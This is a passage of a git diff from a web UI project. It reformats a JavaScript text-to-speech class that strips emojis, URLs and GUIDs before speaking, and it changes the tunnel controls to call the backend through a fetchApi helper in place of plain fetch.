/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b(www\.)[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b[-A-Z0-9+&@#\/%?=~_|!:,.;]*\.(?:[A-Z]{2,})[-A-Z0-9+&@#\/%?=~_|])/ig; return text.replace(urlRegex, (url) => {- let text = url- // if contains ://, split by it- if (text.includes('://')) text = text.split('://')[1];- // if contains /, split by it- if (text.includes('/')) text = text.split('/')[0];-- // if contains ., split by it- if (text.includes('.')) {- const doms = text.split('.')- //up to last two- return doms[doms.length - 2] + '.' + doms[doms.length - 1]- } else {- return text- }- });+ constructor() {+ this.synth = window.speechSynthesis;+ this.utterance = null;+ }++ stripEmojis(str) {+ return str+ .replace(+ /([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g,+ ""+ )+ .replace(/\s+/g, " ")+ .trim();+ }++ speak(text) {+ console.log("Speaking:", text);+ // Stop any current utterance+ this.stop();++ // Remove emojis and create a new utterance+ text = this.stripEmojis(text);+ text = this.replaceURLs(text);+ text = this.replaceGuids(text);+ this.utterance = new SpeechSynthesisUtterance(text);++ // Speak the new utterance+ this.synth.speak(this.utterance);+ }++ replaceURLs(text) {+ const urlRegex =+ /(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b(www\.)[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])|(\b[-A-Z0-9+&@#\/%?=~_|!:,.;]*\.(?:[A-Z]{2,})[-A-Z0-9+&@#\/%?=~_|])/gi;+ return text.replace(urlRegex, (url) => {+ let text = url;+ // if contains ://, split by it+ if (text.includes("://")) text = text.split("://")[1];+ // if contains /, split by it+ if (text.includes("/")) text = text.split("/")[0];++ // if contains ., split by it+ if (text.includes(".")) {+ const doms = text.split(".");+ //up to last two+ return doms[doms.length - 2] + "." + doms[doms.length - 1];+ } else {+ return text;+ }+ });+ }++ replaceGuids(text) {+ const guidRegex =+ /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g;+ return text.replace(guidRegex, "");+ }++ replaceNonText(text) {+ const nonTextRegex = /\w[^\w\s]*\w(?=\s|$)|[^\w\s]+/g;+ text = text.replace(nonTextRegex, (match) => {+ return ``;+ });+ const longStringRegex = /\S{25,}/g;+ text = text.replace(longStringRegex, (match) => {+ return ``;+ });+ return text;+ }++ stop() {+ if (this.isSpeaking()) {+ this.synth.cancel();}+ }- replaceGuids(text) {- const guidRegex = /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/g;- return text.replace(guidRegex, '');- }-- replaceNonText(text) {- const nonTextRegex = /\w[^\w\s]*\w(?=\s|$)|[^\w\s]+/g;- text = text.replace(nonTextRegex, (match) => {- return ``;- });- const longStringRegex = /\S{25,}/g;- text = text.replace(longStringRegex, (match) => {- return ``;- });- return text- }-- stop() {- if (this.isSpeaking()) {- this.synth.cancel();- }- }-- isSpeaking() {- return this.synth?.speaking || false;- }+ isSpeaking() {+ return this.synth?.speaking || false;+ }}export const speech = new Speech();-window.speech = speech+window.speech = speech;// Add event listener for settings changes-document.addEventListener('settings-updated', loadMicSettings);\ No newline at end of file+document.addEventListener("settings-updated", loadMicSettings);diff --git a/webui/js/tunnel.js b/webui/js/tunnel.jsindex 40833c01e..f9b031f58 100644--- a/webui/js/tunnel.js+++ b/webui/js/tunnel.js@@ -12,7 +12,7 @@ document.addEventListener('alpine:init', () => {async checkTunnelStatus() {try {- const response = await fetch('/tunnel_proxy', {+ const response = await fetchApi('/tunnel_proxy', {method: 'POST',headers: {'Content-Type': 'application/json',@@ -35,7 +35,7 @@ document.addEventListener('alpine:init', () => {if (storedTunnelUrl) {// Use the stored URL but verify it's still valid- const verifyResponse = await fetch('/tunnel_proxy', {+ const verifyResponse = await fetchApi('/tunnel_proxy', {method: 'POST',headers: {'Content-Type': 'application/json',@@ -82,7 +82,7 @@ document.addEventListener('alpine:init', () => {try {// First stop any existing tunnel- const stopResponse = await fetch('/tunnel_proxy', {+ const stopResponse = await fetchApi('/tunnel_proxy', {method: 'POST',headers: {'Content-Type': 'application/json',@@ -116,7 +116,7 @@ document.addEventListener('alpine:init', () => {async generateLink() {// First check if authentication is enabledtry {- const authCheckResponse = await fetch('/settings_get');+ const authCheckResponse = await fetchApi('/settings_get');const authData = await authCheckResponse.json();// Find the auth_login and auth_password in the settings@@ -175,7 +175,7 @@ document.addEventListener('alpine:init', () => {try {// Call the backend API to create a tunnel- const response = await fetch('/tunnel_proxy', {+ const response = await fetchApi('/tunnel_proxy', {method: 'POST',headers: {'Content-Type': 'application/json',@@ -207,7 +207,7 @@ document.addEventListener('alpine:init', () => {// Check if tunnel is running nowtry {- const statusResponse = await fetch('/tunnel_proxy', {+ const statusResponse = await fetchApi('/tunnel_proxy', {method: 'POST',headers: {'Content-Type': 'application/json',@@ -259,7 +259,7 @@ document.addEventListener('alpine:init', () => {try {// Call the backend to stop the tunnel- const response = await fetch('/tunnel_proxy', {+ const response = await fetchApi('/tunnel_proxy', {method: 'POST',headers: {'Content-Type': 'application/json',